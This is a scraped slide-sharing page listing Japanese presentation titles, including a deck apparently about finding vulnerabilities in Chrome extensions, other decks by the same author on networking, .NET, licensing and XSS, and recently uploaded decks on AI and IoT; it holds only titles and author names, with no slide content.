OpenWRTとIPv6で高速インターネット!
KageShiron
 
OSSライセンス入門
OSSライセンス入門OSSライセンス入門
OSSライセンス入門
KageShiron
 
.NET Core 3.0時代のメモリ管理
.NET Core 3.0時代のメモリ管理.NET Core 3.0時代のメモリ管理
.NET Core 3.0時代のメモリ管理
KageShiron
 
Microsoft Docs を活用しよう
Microsoft Docs を活用しようMicrosoft Docs を活用しよう
Microsoft Docs を活用しよう
KageShiron
 
新しくなるWin dbgで遊んでみた
新しくなるWin dbgで遊んでみた新しくなるWin dbgで遊んでみた
新しくなるWin dbgで遊んでみた
KageShiron
 
Webセキュリティ入門(xss)
Webセキュリティ入門(xss)Webセキュリティ入門(xss)
Webセキュリティ入門(xss)
KageShiron
 

More from KageShiron (6)

OpenWRTとIPv6で高速インターネット!
OpenWRTとIPv6で高速インターネット!OpenWRTとIPv6で高速インターネット!
OpenWRTとIPv6で高速インターネット!
 
OSSライセンス入門
OSSライセンス入門OSSライセンス入門
OSSライセンス入門
 
.NET Core 3.0時代のメモリ管理
.NET Core 3.0時代のメモリ管理.NET Core 3.0時代のメモリ管理
.NET Core 3.0時代のメモリ管理
 
Microsoft Docs を活用しよう
Microsoft Docs を活用しようMicrosoft Docs を活用しよう
Microsoft Docs を活用しよう
 
新しくなるWin dbgで遊んでみた
新しくなるWin dbgで遊んでみた新しくなるWin dbgで遊んでみた
新しくなるWin dbgで遊んでみた
 
Webセキュリティ入門(xss)
Webセキュリティ入門(xss)Webセキュリティ入門(xss)
Webセキュリティ入門(xss)
 

Recently uploaded

LoRaWAN AI Image Sensorエンドデバイス AIG01カタログ
LoRaWAN AI Image Sensorエンドデバイス AIG01カタログLoRaWAN AI Image Sensorエンドデバイス AIG01カタログ
LoRaWAN AI Image Sensorエンドデバイス AIG01カタログ
CRI Japan, Inc.
 
"ros2rapper", Hardware implimentation of ROS2 communication Protocol without ...
"ros2rapper", Hardware implimentation of ROS2 communication Protocol without ..."ros2rapper", Hardware implimentation of ROS2 communication Protocol without ...
"ros2rapper", Hardware implimentation of ROS2 communication Protocol without ...
たけおか しょうぞう
 
論文紹介:BAM-DETR: Boundary-Aligned Moment Detection Transformer for Temporal Sen...
論文紹介:BAM-DETR: Boundary-Aligned Moment Detection Transformer for Temporal Sen...論文紹介:BAM-DETR: Boundary-Aligned Moment Detection Transformer for Temporal Sen...
論文紹介:BAM-DETR: Boundary-Aligned Moment Detection Transformer for Temporal Sen...
Toru Tamaki
 
Kyndryl Developer Services のご紹介 2024年7月
Kyndryl Developer Services のご紹介  2024年7月Kyndryl Developer Services のご紹介  2024年7月
Kyndryl Developer Services のご紹介 2024年7月
Takayuki Nakayama
 
論文紹介:Task-aligned Part-aware Panoptic Segmentation through Joint Object-Part ...
論文紹介:Task-aligned Part-aware Panoptic Segmentation through Joint Object-Part ...論文紹介:Task-aligned Part-aware Panoptic Segmentation through Joint Object-Part ...
論文紹介:Task-aligned Part-aware Panoptic Segmentation through Joint Object-Part ...
Toru Tamaki
 
最速の組織を目指して全社で大規模スクラムを導入してみた話 #dxd2024 #medicalforce
最速の組織を目指して全社で大規模スクラムを導入してみた話 #dxd2024 #medicalforce最速の組織を目指して全社で大規模スクラムを導入してみた話 #dxd2024 #medicalforce
最速の組織を目指して全社で大規模スクラムを導入してみた話 #dxd2024 #medicalforce
chisatotakane
 
Matsuo-Iwasawa Lab. | Research unit Introduction
Matsuo-Iwasawa Lab. | Research unit IntroductionMatsuo-Iwasawa Lab. | Research unit Introduction
Matsuo-Iwasawa Lab. | Research unit Introduction
Matsuo Lab
 
20240717_IoTLT_vol113_kitazaki_v1___.pdf
20240717_IoTLT_vol113_kitazaki_v1___.pdf20240717_IoTLT_vol113_kitazaki_v1___.pdf
20240717_IoTLT_vol113_kitazaki_v1___.pdf
Ayachika Kitazaki
 
Matsuo-Iwasawa Lab. Research unit Introduction
Matsuo-Iwasawa Lab. Research unit IntroductionMatsuo-Iwasawa Lab. Research unit Introduction
Matsuo-Iwasawa Lab. Research unit Introduction
Matsuo Lab
 
【JSAI2024】J-NER大規模言語モデルのための固有表現認識における拡張固有表現階層を考慮したベンチマークデータセット.pdf
【JSAI2024】J-NER大規模言語モデルのための固有表現認識における拡張固有表現階層を考慮したベンチマークデータセット.pdf【JSAI2024】J-NER大規模言語モデルのための固有表現認識における拡張固有表現階層を考慮したベンチマークデータセット.pdf
【JSAI2024】J-NER大規模言語モデルのための固有表現認識における拡張固有表現階層を考慮したベンチマークデータセット.pdf
ARISE analytics
 
【AI論文解説】LLMの事前学習をvisionに適用する手法Autoregressive Image Models
【AI論文解説】LLMの事前学習をvisionに適用する手法Autoregressive Image Models【AI論文解説】LLMの事前学習をvisionに適用する手法Autoregressive Image Models
【AI論文解説】LLMの事前学習をvisionに適用する手法Autoregressive Image Models
Sony - Neural Network Libraries
 
【AI論文解説】クラスタリングベースアプローチによる大規模データセット自動キュレーション
【AI論文解説】クラスタリングベースアプローチによる大規模データセット自動キュレーション【AI論文解説】クラスタリングベースアプローチによる大規模データセット自動キュレーション
【AI論文解説】クラスタリングベースアプローチによる大規模データセット自動キュレーション
Sony - Neural Network Libraries
 
Developer IO 2024 Odyssey SAMを応用したコンピュータビジョンの話
Developer IO 2024 Odyssey  SAMを応用したコンピュータビジョンの話Developer IO 2024 Odyssey  SAMを応用したコンピュータビジョンの話
Developer IO 2024 Odyssey SAMを応用したコンピュータビジョンの話
Shinichi Hirauchi
 
Imitation learning for robotics 勉強会資料(20240701)
Imitation learning for robotics 勉強会資料(20240701)Imitation learning for robotics 勉強会資料(20240701)
Imitation learning for robotics 勉強会資料(20240701)
Natsutani Minoru
 
Matsuo-Iwasawa lab. Research Unit Introduction
Matsuo-Iwasawa lab. Research Unit IntroductionMatsuo-Iwasawa lab. Research Unit Introduction
Matsuo-Iwasawa lab. Research Unit Introduction
Matsuo Lab
 

Recently uploaded (15)

LoRaWAN AI Image Sensorエンドデバイス AIG01カタログ
LoRaWAN AI Image Sensorエンドデバイス AIG01カタログLoRaWAN AI Image Sensorエンドデバイス AIG01カタログ
LoRaWAN AI Image Sensorエンドデバイス AIG01カタログ
 
"ros2rapper", Hardware implimentation of ROS2 communication Protocol without ...
"ros2rapper", Hardware implimentation of ROS2 communication Protocol without ..."ros2rapper", Hardware implimentation of ROS2 communication Protocol without ...
"ros2rapper", Hardware implimentation of ROS2 communication Protocol without ...
 
論文紹介:BAM-DETR: Boundary-Aligned Moment Detection Transformer for Temporal Sen...
論文紹介:BAM-DETR: Boundary-Aligned Moment Detection Transformer for Temporal Sen...論文紹介:BAM-DETR: Boundary-Aligned Moment Detection Transformer for Temporal Sen...
論文紹介:BAM-DETR: Boundary-Aligned Moment Detection Transformer for Temporal Sen...
 
Kyndryl Developer Services のご紹介 2024年7月
Kyndryl Developer Services のご紹介  2024年7月Kyndryl Developer Services のご紹介  2024年7月
Kyndryl Developer Services のご紹介 2024年7月
 
論文紹介:Task-aligned Part-aware Panoptic Segmentation through Joint Object-Part ...
論文紹介:Task-aligned Part-aware Panoptic Segmentation through Joint Object-Part ...論文紹介:Task-aligned Part-aware Panoptic Segmentation through Joint Object-Part ...
論文紹介:Task-aligned Part-aware Panoptic Segmentation through Joint Object-Part ...
 
最速の組織を目指して全社で大規模スクラムを導入してみた話 #dxd2024 #medicalforce
最速の組織を目指して全社で大規模スクラムを導入してみた話 #dxd2024 #medicalforce最速の組織を目指して全社で大規模スクラムを導入してみた話 #dxd2024 #medicalforce
最速の組織を目指して全社で大規模スクラムを導入してみた話 #dxd2024 #medicalforce
 
Matsuo-Iwasawa Lab. | Research unit Introduction
Matsuo-Iwasawa Lab. | Research unit IntroductionMatsuo-Iwasawa Lab. | Research unit Introduction
Matsuo-Iwasawa Lab. | Research unit Introduction
 
20240717_IoTLT_vol113_kitazaki_v1___.pdf
20240717_IoTLT_vol113_kitazaki_v1___.pdf20240717_IoTLT_vol113_kitazaki_v1___.pdf
20240717_IoTLT_vol113_kitazaki_v1___.pdf
 
Matsuo-Iwasawa Lab. Research unit Introduction
Matsuo-Iwasawa Lab. Research unit IntroductionMatsuo-Iwasawa Lab. Research unit Introduction
Matsuo-Iwasawa Lab. Research unit Introduction
 
【JSAI2024】J-NER大規模言語モデルのための固有表現認識における拡張固有表現階層を考慮したベンチマークデータセット.pdf
【JSAI2024】J-NER大規模言語モデルのための固有表現認識における拡張固有表現階層を考慮したベンチマークデータセット.pdf【JSAI2024】J-NER大規模言語モデルのための固有表現認識における拡張固有表現階層を考慮したベンチマークデータセット.pdf
【JSAI2024】J-NER大規模言語モデルのための固有表現認識における拡張固有表現階層を考慮したベンチマークデータセット.pdf
 
【AI論文解説】LLMの事前学習をvisionに適用する手法Autoregressive Image Models
【AI論文解説】LLMの事前学習をvisionに適用する手法Autoregressive Image Models【AI論文解説】LLMの事前学習をvisionに適用する手法Autoregressive Image Models
【AI論文解説】LLMの事前学習をvisionに適用する手法Autoregressive Image Models
 
【AI論文解説】クラスタリングベースアプローチによる大規模データセット自動キュレーション
【AI論文解説】クラスタリングベースアプローチによる大規模データセット自動キュレーション【AI論文解説】クラスタリングベースアプローチによる大規模データセット自動キュレーション
【AI論文解説】クラスタリングベースアプローチによる大規模データセット自動キュレーション
 
Developer IO 2024 Odyssey SAMを応用したコンピュータビジョンの話
Developer IO 2024 Odyssey  SAMを応用したコンピュータビジョンの話Developer IO 2024 Odyssey  SAMを応用したコンピュータビジョンの話
Developer IO 2024 Odyssey SAMを応用したコンピュータビジョンの話
 
Imitation learning for robotics 勉強会資料(20240701)
Imitation learning for robotics 勉強会資料(20240701)Imitation learning for robotics 勉強会資料(20240701)
Imitation learning for robotics 勉強会資料(20240701)
 
Matsuo-Iwasawa lab. Research Unit Introduction
Matsuo-Iwasawa lab. Research Unit IntroductionMatsuo-Iwasawa lab. Research Unit Introduction
Matsuo-Iwasawa lab. Research Unit Introduction
 

Chrome拡張機能の脆弱性を探そう!